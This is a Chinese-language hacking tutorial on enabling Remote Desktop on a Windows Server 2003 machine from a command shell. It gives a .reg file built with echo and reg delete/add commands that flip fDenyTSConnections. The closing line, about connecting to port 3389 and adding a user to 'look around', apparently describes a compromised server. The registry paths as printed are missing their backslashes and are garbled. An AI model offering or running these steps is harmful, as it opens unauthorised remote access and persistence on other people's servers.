2003cmdshell下开启远程桌面服务相对容易一些,起码无需重启嘛!
第一种方法也是用"echo"命令写入一个 3389.reg文件,再"regedit /s 3389.reg"导入注册表文件即可开启,比较简单。将如下代码一行一行地复制到cmdshell窗口后按回车执行:
echo Windows Registry Editor Version 5.00 >3389.reg
echo. >>3389.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server] >>3389.reg
echo "fDenyTSConnections"=dword:00000000 >>3389.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsdpwdTds cp] >>3389.reg
echo "PortNumber"=dword:00000d3d >>3389.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000d3d >>3389.reg
完成以上操作后再执行"regedit /s 3389.reg"导入即可生效!不过这个方法相对来说比较麻烦,也比较复杂一些。
我们还可以用另外一种比较简单的方法来开启远程桌面服务的,嘿嘿。在介绍另一个操作方法之前,我们先来熟悉下2003系统下远程桌面服务的一个最关键的注册表键值。
在"HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server"
下数值名称为"fDenyTSConnections"的这一项,可以看到它的数值数据为1或0。数值为1的时候关闭远程桌面服务,数值为0的时候开启远程桌面服务。换句话说,我们只要可以在cmdshell下更改这个关键的注册表键值数据就可以达到实现开启远程桌面服务的目的了!有幸的是,在2003下有一个"reg"命令完全可以做到这一点,嘿嘿。下面详细说明一下用"reg"命令开启远程桌面服务。执行:
reg query "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server"
我们发现"fDenyTSConnections"键值数据为"0x1"。这个是十六进制数的1。上面提到,数据为1则没有开启远程桌面服务。我们要做的就是把"0x1"改成"0x0"!直接用"reg add"是不行的,必须把原来键值删掉再添加!在cmdshell下执行:
reg delete "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections
会询问是否"要删除注册表值 fDenyTSConnections 吗",当然Yes了。再执行:
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0
提示操作成功完成。这样就把"fDenyTSConnections"的值改为"0x0"了,我们可以执行:
reg query "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server"
我们可以查看一下,看看是不是真的改掉了。现在再来连接服务器的3389看看,发现已经可以成功连接上了,加个用户进去参观咯。